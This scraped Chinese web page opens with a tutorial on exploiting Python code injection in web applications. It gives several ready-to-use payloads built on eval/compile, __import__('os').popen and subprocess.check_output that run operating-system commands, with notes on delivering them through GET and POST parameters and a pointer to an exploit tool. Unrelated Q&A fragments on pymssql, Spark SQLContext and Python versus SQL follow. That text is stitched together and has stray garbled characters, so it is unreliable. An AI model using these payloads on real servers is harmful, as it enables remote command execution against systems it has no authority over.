當你搭建好測試環境之後，啟動並運行包含漏洞的示例應用。接下來，使用Burp Suite Pro來對其進行掃描。掃描結果如下圖所示：
\
下圖顯示的是Burp在掃描這個漏洞時所使用的Payload：
\
我們可以看到，Burp之所以要將這個Web應用標記為「Vulnerable」(包含漏洞的)，是因為當它將這個Payload發送給目標Web應用之後，伺服器的Python解析器休眠了20秒，響應信息在20秒之後才成功返回。但我要提醒大家的是，這種基於時間的漏洞檢查機制通常會存在一定的誤報。
將PoC升級成漏洞利用代碼
使用time.sleep()來驗證漏洞的存在的確是一種很好的方法。接下來，為了執行操作系統指令並接收相應的輸出數據，我們可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()這幾個函數。當然了，應該還有很多其他的函數同樣可以實現我們的目標。
因為eval()函數只能對表達式進行處理，因此Burp Suite Pro的Payload在這里使用了compile()函數，這是一種非常聰明的做法。當然了，我們也可以使用其他的方法來實現，例如使用全局函數「__import__」。關於這部分內容請查閱參考資料：[參考資料1][參考資料2]
下面這個Payload應該可以適用於絕大多數的場景：
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Example with one expression
__import__('os').popen('COMMAND').read()
# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要執行一個或多個語句，那麼你就需要使用eval()或者compile()函數了。實現代碼如下所示：
# Examples with one expression
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的測試過程中，有時全局函數「__import__」會不起作用。在這種情況下，我們就要使用for循環了。相關代碼如下所示：
eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的參數是一個GET參數，那麼你就可以直接在瀏覽器中利用這個漏洞了：
\
請注意：雖然瀏覽器會幫你完成絕大部分的URL編碼工作，但是你仍然需要對分號(%3b)和空格(%20)進行手動編碼。除此之外，你也可以直接使用我們所開發的工具。
如果是POST參數的話，我建議各位直接使用類似Burp Repeater這樣的工具。如下圖所示，我在subprocess.check_output()函數中一次性調用了多個系統命令，即pwd、ls、-al、whoami和ping。
\
\
漏洞利用工具-PyCodeInjectionShell
你可以直接訪問PyCodeInjectionShell的GitHub主頁獲取工具源碼，我們也提供了相應的工具使用指南。在你使用這款工具的過程中會感覺到，它跟sqlmap一樣使用起來非常的簡單。除此之外，它的使用方法跟sqlmap基本相同。
❽ 如何python獲取sql資料庫訪問的url
如何通過python遠程訪問sql
server
2005資料庫
1.0.2版本的，必須host，user，password，database都正確conn
=
pymssql.connect(host="127.0.0.1",user="t",
password
=
"t",
database
=
"ticket")才會成功執行。但是2.0.1版本的，連接只檢查前三個，database是否正確不檢查，只有到執行sql語句的時候才檢查database
❾ Spark SQL怎麼創建編程創建DataFrame
創建 SQLContext
Spark SQL 中所有相關功能的入口點是 SQLContext 類或者它的子類， 創建一個 SQLContext 的所有需要僅僅是一個 SparkContext。
使用 Scala 創建方式如下：
val sc: SparkContext // An existing SparkContext.
val sqlContext = new org.apache.spark.sql.SQLContext(sc)
// this is used to implicitly convert an RDD to a DataFrame.
import sqlContext.implicits._
使用團返 Java 創建方式如下：
JavaSparkContext sc = ...; // An existing JavaSparkContext.
SQLContext sqlContext = new org.apache.spark.sql.SQLContext(sc);
使用 Python 創建方式如下：
from pyspark.sql import SQLContext
sqlContext = SQLContext(sc)
除了一個基本的 SQLContext，你也能夠創建一個 HiveContext，它支持基本 SQLContext 所支持功能的一個超集。它的額外的功能包括用更完整的 HiveQL 分析器寫查詢去訪問 HiveUDFs 的能力、 從 Hive 表讀取數據的能力。用 HiveContext 你不需要一個已經存在的 Hive 開啟，SQLContext 可用的數據源對 HiveContext 也可用。HiveContext 分開打包是為了避免在 Spark 構建時包含了所有 的 Hive 依賴。如果對你的應用程序來說，這些依賴不存在問題，Spark 1.3 推薦使用 HiveContext。以後的穩定版本將專注於為 SQLContext 提供與 HiveContext 等價的功能。
用來解析查詢語句的特定 SQL 變種語陸型言可以通過 spark.sql.dialect 選項來選擇。這個參數可以通過兩種方式改變，一種方式是通過 setConf 方法設定，另一種方式是在 SQL 命令中通過 SET key=value 來設定。對於 SQLContext，唯一可用的方言是 「sql」，它是 Spark SQL 提供的一個簡單的 SQL 解析器。在 HiveContext 中，雖塌悉飢然也支持」sql」，但默認的方言是 「hiveql」，這是因為 HiveQL 解析器更完整。
❿ python與SQL應該怎麼選擇
Python和SQL並不沖突，很多時候需要先用SQL選取想要的數據然後再用Python做處理和分析。
SQL學起來更快而且也更符合題主想做金融數據分析的要求，不過SQL入門其實很簡單，之後在工作中精通就好，SQL了解了之後就可以接著學Python或者其他符合題主要求的工具了。
Python（計算機編程語言）：
Python由荷蘭數學和計算機科學研究學會的Guido van Rossum於1990 年代初設計，作為一門叫做ABC語言的替代品。
Python提供了高效的高級數據結構，還能簡單有效地面向對象編程。Python語法和動態類型，以及解釋型語言的本質，使它成為多數平台上寫腳本和快速開發應用的編程語言，隨著版本的不斷更新和語言新功能的添加，逐漸被用於獨立的、大型項目的開發。
ython解釋器易於擴展，可以使用C或C++（或者其他可以通過C調用的語言）擴展新的功能和數據類型。 Python 也可用於可定製化軟體中的擴展程序語言。Python豐富的標准庫，提供了適用於各個主要系統平台的源碼或機器碼。
2021年10月，語言流行指數的編譯器Tiobe將Python加冕為最受歡迎的編程語言，20年來首次將其置於Java、C和JavaScript之上。